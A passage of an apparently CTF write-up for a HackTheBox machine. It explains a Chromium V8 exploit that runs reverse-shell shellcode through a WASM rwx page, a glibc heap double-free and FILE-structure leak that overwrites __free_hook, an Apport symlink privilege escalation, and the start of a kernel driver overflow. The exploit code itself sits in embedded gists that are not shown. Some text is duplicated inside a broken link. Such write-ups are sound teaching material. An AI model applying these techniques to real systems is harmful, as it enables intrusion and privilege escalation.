1em; margin-right: 1em;"><img border="0" data-original-height="507" data-original-width="807" height="402" src="https://1.bp.blogspot.com/-6b2P29qnK1w/X73HKcB_KOI/AAAAAAAAB18/FUTWNZ2GrwYMdCp3hnqm0lswnR-GxPB0gCLcBGAsYHQ/w640-h402/browser1.JPG" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-sMwFiVvpudk/X73HP7_AwFI/AAAAAAAAB2A/UY3OzE14UK8QbUoAN8vyh0fONep2ATG6QCLcBGAsYHQ/s707/browser2.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="221" data-original-width="707" height="200" src="https://1.bp.blogspot.com/-sMwFiVvpudk/X73HP7_AwFI/AAAAAAAAB2A/UY3OzE14UK8QbUoAN8vyh0fONep2ATG6QCLcBGAsYHQ/w640-h200/browser2.JPG" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-GkQrS8OPTsY/X73HXwx2y3I/AAAAAAAAB2E/TmQvmh0Npo01B1LzLIaOdJFPr-SOh1ZBQCLcBGAsYHQ/s1355/browser3.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="634" data-original-width="1355" height="300" src="https://1.bp.blogspot.com/-GkQrS8OPTsY/X73HXwx2y3I/AAAAAAAAB2E/TmQvmh0Npo01B1LzLIaOdJFPr-SOh1ZBQCLcBGAsYHQ/w640-h300/browser3.JPG" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-x5VhTr1RvIA/X73HbkVuoYI/AAAAAAAAB2M/4qn6r1IdUwoEEtmVnIj4v76U5Ldspu3sgCLcBGAsYHQ/s672/browser4.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="270" data-original-width="672" height="258" src="https://1.bp.blogspot.com/-x5VhTr1RvIA/X73HbkVuoYI/AAAAAAAAB2M/4qn6r1IdUwoEEtmVnIj4v76U5Ldspu3sgCLcBGAsYHQ/w640-h258/browser4.JPG" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><div class="separator" style="clear: both;">Interesting to see how the double array's elements are usually above the object, which starts with the map field here... perhaps we can use the OOB to create some type confusion, as you will see later.</div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;">There are a few more important V8 exploitation concepts before we begin. In browser pwning, there are two basic types of primitives: addrof and fakeobj. Retrieving the address of an object is known as addrof. As Faith discusses, this can easily be done if you just create a type confusion of an object array into a double array, so its elements, which are pointers, get outputted as such. The other main type of primitive is the fakeobj primitive, where as the name implies, fake objects in memory. As Faith discusses again, this can be achieved by just creating another type confusion of a double array into an object array, and writing pointers into the elements.</div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;">Using these two primitives, one can achieve arbitrary reads and writes. For arbitrary reads, we can make a double array where the first element contains a double array map, and then create a fake object over that field (making it think its a double array). We can now manipulate the index which acts as the element pointer to be a valid address, and have it read its content from there by indexing into our fake object. Using this same concept, we can achieve an arbitrary write.</div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;">At this point, with all 4 of these primitives, we have enough to gain arbitrary code exec. Normally, Chromium runs under a sandbox that makes “arbitrary” not exactly true, but we don't have to worry about it here as it is disabled. The standard way in V8 exploitation is to use WASM instances. When you initialize a WebAssembly Instance, a new rwx page is mmap'd into V8 memory. Since this instance is also an object, you can leak its address. At the Instance + 0x68, the rwx page address is stored in its 64 bit entirety, so you can use arbitrary read to read it out. Then you can write your own shellcode into the rwx region. Calling your exported Web Assembly function will now execute such shellcode. One might wonder why such an advanced software would be using rwx page. Apparently, V8 devs <a href="https://news.ycombinator.com/item?id=18812449" target="_blank">pinpoint</a> the issue on asm.js, which requires lazy compilation into Web Assembly, and the constant permission flips impact performance a lot.</div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;">However, how can you write into 64 bit addresses outside of the V8 heap when there is pointer compression and you can't control the isolate root? Basically, ArrayBuffer's backing store still store the 64 bits in entirety as it references a region outside the V8 heap (since the backing store is <a href="https://v8.dev/blog/v8-release-83#performance" target="_blank">allocated by ArrayBuffer::Allocator</a>) as you can see in the image below.</div></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-2C_9AaDr9yQ/X73H1LCPp0I/AAAAAAAAB2c/YqsFVGhQjhwFTo_4U0GhdrQeSDA1MxrCQCLcBGAsYHQ/s720/browser6.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="596" data-original-width="720" height="530" src="https://1.bp.blogspot.com/-2C_9AaDr9yQ/X73H1LCPp0I/AAAAAAAAB2c/YqsFVGhQjhwFTo_4U0GhdrQeSDA1MxrCQCLcBGAsYHQ/w640-h530/browser6.JPG" width="640" /></a></div><br /><div><div>If you change the backing store, you can now write to that arbitrary 64 bit address location (like in your WASM instance) with a DataView object initalized over your ArrayBuffer, since ArrayBuffer are <a href="If you change the backing store, you can now write to that arbitrary 64 bit address location (like in your WASM instance) with a DataView object initalized over your ArrayBuffer, since ArrayBuffer are low level raw binary buffers and only DataView (user specified types for values) or TypedArrays (uniform value access) can be used to interface with its contents. You can also perhaps find a stable way to leak a libc address as they do exist in the V8 heap (and V8 heap behaves predictably), and then choose to overwrite a hook function to another function or a stack pivot; do note that this success rate would work better inside d8 (since it uses glibc's allocator) than Chromium (which primarily relies on PartitionAlloc, but I believe glibc's allocator is still occasionally utilized). Anyways, after the crash course above, let's begin discussing this exploit. Due to pointer compression, the OOB won't exactly be as easy as the one from *CTF (l OOB behavior for double arrays will still behave the same). Notice how in the patch, builtin arrays are forcefully typecasted as 64 bit FixedDoubleArrays. If you have an array of objects, this forced typecasting groups 2 object pointers together as one double value each time while also retaining the same original length (but it'll also be indexed as a double array). For example, if you have an object array of size 2, typecasting this into a FixedDoubleArray makes it a FixedDoubleArray of size 2, which is equivalent to an object array of size 4, so indexing won't behave the same. If your object array is of size n, the OOB will access size n+1 from the FixedDoubleArray, which will be treated as the 2n+1 object array index. For example, if I declare a size 2 array of objects called temp, the following behavior occurs: convertToHex(ftoi64(temp.GetLastElement())) outputs 0x40808cad9" target="_blank">low level raw binary buffers</a> and only DataView (user specified types for values) or TypedArrays (uniform value access) can be used to interface with its contents. You can also perhaps find a stable way to leak a libc address as they do exist in the V8 heap (and V8 heap behaves predictably), and then choose to overwrite a hook function to another function or a stack pivot; do note that this success rate would work better inside d8 (since it uses glibc's allocator) than Chromium (which primarily relies on PartitionAlloc, but I believe glibc's allocator is still occasionally utilized).</div><div><br /></div><div>Anyways, after the crash course above, let's begin discussing this exploit. Due to pointer compression, the OOB won't exactly be as easy as the one from *CTF (OOB behavior for double arrays will still behave the same). Notice how in the patch, builtin arrays are forcefully typecasted as 64 bit FixedDoubleArrays. If you have an array of objects, this forced typecasting groups 2 object pointers together as one double value each time while also retaining the same original length (but it'll also be indexed as a double array). For example, if you have an object array of size 2, typecasting this into a FixedDoubleArray makes it a FixedDoubleArray of size 2, which is equivalent to an object array of size 4, so indexing won't behave the same. If your object array is of size n, the OOB will access size n+1 from the FixedDoubleArray, which will be treated as the 2n+1 object array index.</div><div><br /></div><div>For example, if I declare a size 2 array of objects called temp, the following behavior occurs:</div><div><br /></div><div>convertToHex(ftoi64(temp.GetLastElement())) outputs 0x40808cad9</div></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-pKbotW5bLBw/X73IGFl1BKI/AAAAAAAAB2o/2TOfe4C0er4eSVsthQPV98lQ9omf8K9NwCLcBGAsYHQ/s680/browser5.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="115" data-original-width="680" height="108" src="https://1.bp.blogspot.com/-pKbotW5bLBw/X73IGFl1BKI/AAAAAAAAB2o/2TOfe4C0er4eSVsthQPV98lQ9omf8K9NwCLcBGAsYHQ/w640-h108/browser5.JPG" width="640" /></a></div><div>Running temp.SetLastElement(itof(0x13371337n)) causes the following behavior:</div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-PglwR3-QXWc/X73IiS2_FSI/AAAAAAAAB24/hzeN8100Qys2VaP6ovtNkJjqbAcEnwl7QCLcBGAsYHQ/s674/browser8.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="113" data-original-width="674" height="108" src="https://1.bp.blogspot.com/-PglwR3-QXWc/X73IiS2_FSI/AAAAAAAAB24/hzeN8100Qys2VaP6ovtNkJjqbAcEnwl7QCLcBGAsYHQ/w640-h108/browser8.png" width="640" /></a></div><div>While this won't allow for a direct map overwrite and type confusion, but we just have to take a longer route around it. For addrof, you can start off by creating an object array of size 1, and an object array of size 2 (that contains your target objects). You should also grab some other double array's map, and the second array's element pointer with OOB read. This way, when we perform an oob write on the first object array, it will hit the real index (in terms of 32 bit compressed object pointers) of 3 from its starting index, which would overwrite both its own properties and elements pointer. We can replace its elements pointer with the elements pointer of the second array, and just wipe out properties pointer since it won't matter for arrays that much. Now, when we try to OOB write on the first array, it will still see it as size of 1 double (effectively 2 object pointers due to typecasting), but use the elements of the second array. Since an effective size of 2 object elements is the correct size for this size 2 object array, we will hit the second array's map and properties. Properties once again doesn't matter, and you can just replace the map with the leaked double map from the OOB read. Now indexing into this second array will leak the target object's address.</div><div><br /></div><div>The same concept is applied to fakeobj. However, this time we aren't changing the map of the second larger object array. Rather, we want to grab it's map's value. Once we have that, we can normally OOB the float array and change it's map to an object array's map, and retrieve fake objects. Here is my implementation:</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=browser2.js"></script></div><div><br /></div><div>Arbitrary read and write were already explained above. In this case, due to pointer compression, we need to set both a valid address for elements as well as the size (just to choose any valid smi that's greater than or equal to size 1). I also subtracted another -0x8 from the address for the elements location, since pointer compression puts both the element's map and size in one single qword. Properties once again doesn't really matter, but the double array OOB leak handled it for us regardless so I just left it as that. As a setup for my WASM Instance, I just used Faith's implementation; due to pointer compression again, you will need to adjust for the offset of the backing store pointer. Here is the implementation so far.</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=browser3.js"></script></div><div><br /></div><div><div>And then we just need to trigger a WASM rwx page allocation, overwrite its code, and then execute the exported function. For my shellcode, I just chose a generic shellstorm <a href="http://shell-storm.org/shellcode/files/shellcode-857.php" target="_blank">x86_64 Linux reverse shell shellcode</a>.</div><div><br /></div><div>Here is my final exploit (note that it isn't 100%, probably due to some advanced garbage collector behavior or some other V8 internals that I dont' understand):</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=browser_exploit.js"></script></div><div><br /></div><div>Now we popped a shell as chrome user. </div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-AC0qDQ6s-5g/X73I6miLqNI/AAAAAAAAB3A/0qzlSnOnrqEi2V4QbcGmjDkUHM7b7wLvgCLcBGAsYHQ/s484/browser7.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="134" data-original-width="484" height="178" src="https://1.bp.blogspot.com/-AC0qDQ6s-5g/X73I6miLqNI/AAAAAAAAB3A/0qzlSnOnrqEi2V4QbcGmjDkUHM7b7wLvgCLcBGAsYHQ/w640-h178/browser7.JPG" width="640" /></a></div><br /><div><div>From a quick look at /etc/passwd, we know the user flag will be in r4j's home directory. Basic enumeration shows a suid binary from r4j called rshell. We can utilize this to escalate our privileges.</div><div><br /></div><div>At this point during the release, only 3 players have popped a shell, and all of us were working towards users. This is when the A Team, per tradition, found an unintended route, and took first blood. Between the time this box was submitted and its release, 19.04 went EOL and was not patched, making it vulnerable to <a href="https://ubuntu.com/security/notices/USN-4315-1" target="_blank">CVE-2020-8831</a>. Basically, Apport will use the existing /var/lock/apport directory and create the lock file with world writeable permissions. Since Apport is enabled by default in modern Ubuntu, we just need to run a binary that purposely crashes. I know R4J and the A Team for their example crashed a binary named “fault” and then used the symlink to write a bash script into /etc/update-motd.d for privilege esclataion (after which will be run as root on the next ssh connection):</div></div><div><br /></div><div> <script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=unintended_a_team.sh"></script></div><div><br /></div><div><div> Apparently several other boxes were vulnerable to the same bug... </div><div><br /></div><div>For the sake of debugging (and since this is usually fine for many offsets), I patchelf'd the binary with the correct linker and libc, and re-merged debugging symbols into the library so I can properly debug with pwndbg.</div><div><br /></div><div>Reversing the binary comes up with the following pseudocode:</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=heap1.c"></script></div><div><br /></div><div><div>Note that there is NX, Full RELRO, Canary, and PIE, and the libc version is 2.29. Basically, there is a file struct that holds the filename as a char array and the contents via a pointer. You only have 2 file spots, and you cannot have the same filenames (adding, removing, and editing are all done selectively by the filename). One issue is that there doesn't seem to be a good way to leak purely through the heap (the ls option only shows filenames, and nothing prints out file contents). Adding is quite safe (no overflows and etc.). Deleting is also safe, as the content pointer is nulled out. Edit also seems safe at first glance, but we must consider the behavior of realloc(). According to <a href="https://github.com/bminor/glibc/blob/release/2.29/master/malloc/malloc.c#L4550" target="_blank">glibc source</a>, realloc is as the following (__libc_realloc calls _int_realloc):</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=heap2.c"></script></div><div><br /></div><div><div>If the older chunk size is larger or equal to the requested chunk size, the chunk at that same memory location remains the same and it will attempt to split it. If it's large enough to be split into its own chunk, it'll get set up properly for it to be freed. Nothing would happen if you request a realloc() of the same size. By __libc_realloc, if the requested size is 0, then it just frees it and returns 0 (but that 0 is stored in a temporary value and by the program logic, won't replace the file content pointer).</div><div><br /></div><div>If the older chunk size is smaller than the requested chunk size, it will first attempt to extend the current chunk into the top chunk. If it's not adjacent to wilderness, it will also try to extend to the next free chunk if possible and then deal with the split for remainder later (as when the older chunk size is larger or equal to the requested chunk size). Its last choice is to just allocate, memcpy, and then free the old chunk. Note that _int_malloc is used in this case, and like calloc, the code path taken in that function will not allocate from tcache to my knowledge. </div><div><br /></div><div>It only checks if size is less than or equal to 0x70. If we were to tell it to realloc a size of 0, we can make basically make it become a free. Without that check (and the fact that the pointer remains there), we can use this to emulate a double free; this is the central bug.</div><div><br /></div><div>But how can we grab a leak? Well, when analyzing libc offsets, we notice that _IO_2_1_stdout_ and main arena only differs in the last 2 bytes. We will always know the last 12 bits due to ASLR behavior, and there is only 4 bits we do not know. If we attack this file structure correctly, we can have every puts call print out large sections of the libc itself during runtime. Therefore, with a 4 bit bruteforce (1/16 rate of success), we might be able to redirect a heap chunk to that file structure, modify it, and dump portions of runtime addresses.</div></div><div><br /></div><div>This is actually a really common technique, as detailed in <a href="https://vigneshsrao.github.io/babytcache/" target="_blank">HITCON baby tcache challenge</a>. The linked writeup gives a much better explanation, but the gist is that puts calls <a href="https://github.com/bminor/glibc/blob/release/2.29/master/libio/fileops.c#L1204" target="_blank">_IO_new_file_xsputn</a>, which <a href="https://github.com/bminor/glibc/blob/release/2.29/master/libio/fileops.c#L1251" target="_blank">will call</a> <a href="https://github.com/bminor/glibc/blob/release/2.29/master/libio/fileops.c#L738" target="_blank">_IO_new_file_overflow</a>. Page 16 of the famous <a href="https://gsec.hitb.org/materials/sg2018/WHITEPAPERS/FILE%20Structures%20-%20Another%20Binary%20Exploitation%20Technique%20-%20An-Jie%20Yang.pdf" target="_blank">AngelBoy FSOP paper</a> also discusses this technique.</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=heap3.c"></script></div><div><br /></div><div>Our end goal is to have this file structure path end up at _IO_SYSWRITE in _IO_do_write. To hit _IO_do_write, we just need to skip the first two conditionals, and have our ch argument be EOF. The second argument is already set correctly from the call from _IO_new_file_xputn. To skip the first two conditions, we need to make sure to set the _IO_CURRENTLY_PUTTING flag and unset the _IO_NO_WRITES flag in the _flag field of the file structure. The following is <a href="https://github.com/bminor/glibc/blob/release/2.29/master/libio/fileops.c#L429" target="_blank">_IO_do_write</a>:</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=heap4.c"></script></div><div><br /></div><div><div>To hit _IO_SYSWRITE, we want to set the _IO_IS_APPENDING flag in the file structure _flag field and make read_end different from write_base; this way, it won't take the lseek syscall path and return. Now, the _IO_SYSWRITE syscall writes (f->_IO_write_ptr - f->_IO_write_base) bytes starting from f->_IO_write_base. </div><div><br /></div><div>To summarize, based on <a href="https://github.com/bminor/glibc/blob/release/2.29/master/libio/libio.h#L71">libio.h</a>, we can set the flag as the following: _IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING | ~_IO_NO_WRITE. The value for the _flags field should be 0xfbad1800. The read field values won't really matter, so just set read_ptr, read_base, and read_end to null. And now, we can use a single byte to tamper with write_base, and hence have the syscall write dump memory for us.</div><div><br /></div><div>I will now discuss the exploit itself below. A really high level of understanding of the glibc heap behavior is a must know before reading. A lot of what I do is based on heap intuition and heap feng shui as the 2 chunk limit makes this extremely tough (in fact, after you leak, you will see that you only have one chunk left to use if you don't want the program to crash).</div><div><br /></div><div>The first thing I did was store some chunks into the 0x60 and 0x80 tcachebins for usage after the leak. This is for when I corrupt the unsorted bin, I can still get valid chunks back. I then allocated a 0x40 user sized tcache chunk, filled it with 0x71 (for fake size metadata for later, this same technique will be applied later on to beat the many size checks in glibc), and then freed it (note that in my code, fakeedit basically just performs the edit with size 0).</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=heap5.py"></script></div><div><br /></div><div>Here is the current heap state:</div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-Y40ajKx4PO4/X73PkknZmeI/AAAAAAAAB3M/VCeuTSekc3Yryiw2fOzLKPF2zTnzrNIGQCLcBGAsYHQ/s567/heap1.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="567" data-original-width="548" height="640" src="https://1.bp.blogspot.com/-Y40ajKx4PO4/X73PkknZmeI/AAAAAAAAB3M/VCeuTSekc3Yryiw2fOzLKPF2zTnzrNIGQCLcBGAsYHQ/w618-h640/heap1.JPG" width="618" /></a></div><br /><div>Then I started using the 0x70 tcache chunk; I used the realloc size of 0 to double free and fill the tcache (note that we must wipe the key entry of each chunk to bypass the 2.29 tcache double free mitigation). then I started pulling back from the 0x60 user sized tcache, and changed the fd pointer to redirect me into region of 0x......370 later on in the diagram above.</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=heap6.py"></script></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-NAgsSJ0jZaE/X73P2zkSRTI/AAAAAAAAB3U/PrdZGTbIv3Ubt7UVtfzFDJ0Fqj3jzi-lACLcBGAsYHQ/s636/heap2.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="129" data-original-width="636" height="130" src="https://1.bp.blogspot.com/-NAgsSJ0jZaE/X73P2zkSRTI/AAAAAAAAB3U/PrdZGTbIv3Ubt7UVtfzFDJ0Fqj3jzi-lACLcBGAsYHQ/w640-h130/heap2.JPG" width="640" /></a></div><br /><div>On my next allocation from the 0x70 tcache, I will still have the original location. Due to the original successive double frees, the two chunks will be at the same location. I then use realloc behavior to split the second chunk into a 0x50 and 0x20 real sized chunk (0x20 chunk will be sent into tcache). I then fake edited the 0x50 chunk, then split the chunk into 0x20 and 0x30 sizes (with the 0x30 being sent into the tcache), and then freed the 0x20 size chunk. What's the purpose of this complex chain of events? Well, it is for me to corrupt the tcache bins so that multiple different tcache freelists have pointers to the same memory location. At this point, my first file content also points to this 0x......370 location.</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=heap7.py"></script></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-0d6HMszg8cE/X73P-T58IjI/AAAAAAAAB3Y/pW4eNGSzbO4bpeTr3G4bxpqx0HE3l_WlwCLcBGAsYHQ/s554/heap3.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="151" data-original-width="554" height="174" src="https://1.bp.blogspot.com/-0d6HMszg8cE/X73P-T58IjI/AAAAAAAAB3Y/pW4eNGSzbO4bpeTr3G4bxpqx0HE3l_WlwCLcBGAsYHQ/w640-h174/heap3.JPG" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">Remember now, that our current file content (size of 0x70), and the first item on the freelist for the 0x20 and 0x50 tcache freelist all point to the same location. I then allocated a chunk (for the second filename) from the 0x70 tcache bin to change the size of current file content at 0x......390 to 0x91 (so once we fill the tcache of 0x90, we can get unsorted chunks instead of fast chunks). Note that you have to continually change the key structure in the “0x90” sized chunk to bypass the tcache double free mitigation, which I performed from the chunk allocated above as edit restricts us to not go over size of 0x70. </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=heap8.py"></script></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-Oz573jryY0U/X73QZML8MdI/AAAAAAAAB3k/iol6lXwyRpIILPAjrnnGmRyxq-UxFTu6gCLcBGAsYHQ/s848/heap4.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="435" data-original-width="848" height="328" src="https://1.bp.blogspot.com/-Oz573jryY0U/X73QZML8MdI/AAAAAAAAB3k/iol6lXwyRpIILPAjrnnGmRyxq-UxFTu6gCLcBGAsYHQ/w640-h328/heap4.JPG" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: left;">Now we can overlap tcache bins with unsorted bins to help with a tcache bin with a 1/16 bit brute to write onto the _IO_2_1_stdout_ file structure. Here is where having different tcache bins of different size point to different locations become useful. If we just double freed the same chunk, then we can't exactly retrieve the redirected chunk, since you can allocate and modify fd for the first file content spot, and then you need two more allocations to get back the target location (and that wouldn't be possible with realloc, free, and only 2 spots). Now, with my setup, I can use one of the tcache chunks (0x20) from one of the sizes to modify 2 bytes of the fd (with only the upper 4 bits being guessed), allocate once from the 0x50 chunk, then free the 0x20 chunk, and replace that spot with a 0x50 sized allocation, giving us control over the _IO_2_1_stdout_ file structure now. Now, when puts runs again, we should get a massive dump of data. Note that from this point on, my addresses will be different since I believe this technique is somewhat ASLR dependent, and using the non-ASLR addresses as the brute only worked locally. The code below will be the one adjusted for remote work, while the image will show the original local one without ASLR.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=heap9.py"></script></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-C3if38Yua-s/X73QgLWlV6I/AAAAAAAAB3o/3oCJhEraKroFWBuo3qlgyXpRRNcdATx8QCLcBGAsYHQ/s634/heap5.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="634" data-original-width="633" height="640" src="https://1.bp.blogspot.com/-C3if38Yua-s/X73QgLWlV6I/AAAAAAAAB3o/3oCJhEraKroFWBuo3qlgyXpRRNcdATx8QCLcBGAsYHQ/w638-h640/heap5.JPG" width="638" /></a></div><br /><div class="separator" style="clear: both; text-align: left;">However, as a consequence of this leaking mechanism, there is no good metadata for us to use for the size field, and subsequent frees on this chunk will fail. This means we only have one chunk left to obtain RCE.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-xZV9jvyE-0o/X73Qmdq23zI/AAAAAAAAB3s/hdGb_a-hVB0D_woil2Tck4bXKvRFuBrvQCLcBGAsYHQ/s754/heap6.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="322" data-original-width="754" height="274" src="https://1.bp.blogspot.com/-xZV9jvyE-0o/X73Qmdq23zI/AAAAAAAAB3s/hdGb_a-hVB0D_woil2Tck4bXKvRFuBrvQCLcBGAsYHQ/w640-h274/heap6.JPG" width="640" /></a></div>Our end goal should be to redirect a chunk into __free_hook to pop a shell. How do we do this with only 1 chunk remaining? After a bit of cleanup, I pulled from the previously saved 0x80 chunk (as unsorted bin is now corrupted). I then fake edited it, and then split it into an active 0x20 chunk and a freed 0x60 chunk. I then freed this 0x20 chunk so I can get another allocation from the previously freed 0x80 chunk. Using this, I can change the fd of the 0x60 chunk to __free_hook - 8.<br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=heap10.py"></script></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-TmgK_pCkMH4/X73QtIn2fxI/AAAAAAAAB30/8-5-5CyPXL8uu7JOFx4PjDQNnyVt1YEigCLcBGAsYHQ/s688/heap7.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="186" data-original-width="688" height="174" src="https://1.bp.blogspot.com/-TmgK_pCkMH4/X73QtIn2fxI/AAAAAAAAB30/8-5-5CyPXL8uu7JOFx4PjDQNnyVt1YEigCLcBGAsYHQ/w640-h174/heap7.JPG" width="640" /></a></div><br /><div><div>After this point, we can free our chunk once again to get space for a new allocation. I can get the location of __free_hook - 8 back by allocating from 0x60 tcache once, splitting it, freeing it, and then allocating from it again. Then it's just overwrite it with /bin/sh\x00 and address of system, and a subsequent free call from pop a shell.</div><div><br /></div><div>Here is the final remote exploit:</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=heap_exploit.py"></script></div><div><br /></div><div>Finally, we pop shell as R4J (remote 1/16 takes a few minutes):</div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-Ai6zLvR6Yy8/X73Q3N5g5LI/AAAAAAAAB38/zCFsBgPGD6kJ4MoJKf0FyfiYktTOe2AsgCLcBGAsYHQ/s786/heap8.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="201" data-original-width="786" height="164" src="https://1.bp.blogspot.com/-Ai6zLvR6Yy8/X73Q3N5g5LI/AAAAAAAAB38/zCFsBgPGD6kJ4MoJKf0FyfiYktTOe2AsgCLcBGAsYHQ/w640-h164/heap8.JPG" width="640" /></a></div><br /><div><div>However, we still weren't able to read the flag. It turns out that our group permissions were incorrect as we were still chromeuser group, but this is relatively trivial. newgrp - r4j will change our gid correctly, and we can grab the user flag.</div><div><br /></div><div>Due to the nature of the box, I was 99% sure root was going to be a kernel pwn. Running dmesg showed us the following messages:</div><div>run dmesg</div><div>[ 20.879368] ralloc: loading out-of-tree module taints kernel.</div><div>[ 20.879407] ralloc: module verification failed: signature and/or required key missing - tainting kernel</div><div><br /></div><div>This will probably be the vulnerable driver. Looking in /dev, there was a ralloc device loaded. The driver itself was located at /lib/modules/5.0.0-38-generic/kernel/drivers/ralloc/ralloc.ko. We can transfer that out and begin reversing. One thing to note is the current protections. From /proc/cpuinfo, we know SMEP is enabled, but surprisingly, R4J was very nice to disable KPTI and SMAP (although KPTI was originally enabled during testing, perhaps HackTheBox was running their servers on AMD Epyc and the whole issue KPTI was designed to address, Meltdown, wasn't an issue for AMD). KASLR will obviously be enabled, but check /proc/cmdline to be absolutely sure.</div><div><br /></div><div>Reversing the kernel module comes up with the following pseudocode:</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=kernel1.c"></script></div><div><br /></div><div><div>The bug is pretty clear here. When allocating from the ralloc ioctl, the size set in the global array for each entry is added to 0x20. This way, when you edit, you have a large kernel heap overflow. Deleting and reading are safe.</div><div><br /></div><div>In order to even be able to debug this pwn efficiently, I had to use qemu so I can integrate it with peda remote debugging. I also must enable kvm, so I won't be stuck waiting 5 minutes for it to even boot. To set this up, I downloaded the 19.04 Ubuntu Server image, ensured the the kernel version was the same (5.0.0.38 from enumeration). I then set up an image drive for this specifically for an install with the following commands:</div><div><br /></div><div>qemu-img create -f qcow2 ralloc.qcow2 6G</div><div>qemu-system-x86_64 -hda ralloc.qcow2 -boot d -cdrom ./19.04.iso -m 2048 -nographic -enable-kvm</div><div><br /></div><div>Then, to boot this kernel, I had to set the following flags:</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=kernel2.sh"></script></div><div><br /></div></div><div><div>I also added “console=ttyS0 loglevel=3 oops=panic panic=1 kaslr” into /etc/default/grub, ran grub-update, loaded ralloc.ko into “/lib/modules/`uname -r`/kernel/drivers/ralloc”, ran depmod, and then rebooted. We should now have a proper qemu debugging environment for which we can hook peda onto. It would also be helpful to retrieve the System Map file as well as vmlinuz..</div><div><br /></div><div>With the size limitations above, the tty_struct from the kmalloc-1024 slab is perfect for this usage; it can give both a KASLR leak via ptm_unix98_ops and rip control with its pointer to the tty_operations struct, from which we can control the ioctl function pointer. Before discussing the exploit, I would like to briefly discuss some protections in standard Linux distro kernels (which are often compiled out for CTF kernel challenges). As this <a href="https://blog.infosectcbr.com.au/2020/03/weaknesses-in-linux-kernel-heap.html" target="_blank">post</a> from infosectbr mentions, freelist pointers are hardened in the following manner: ((unsigned 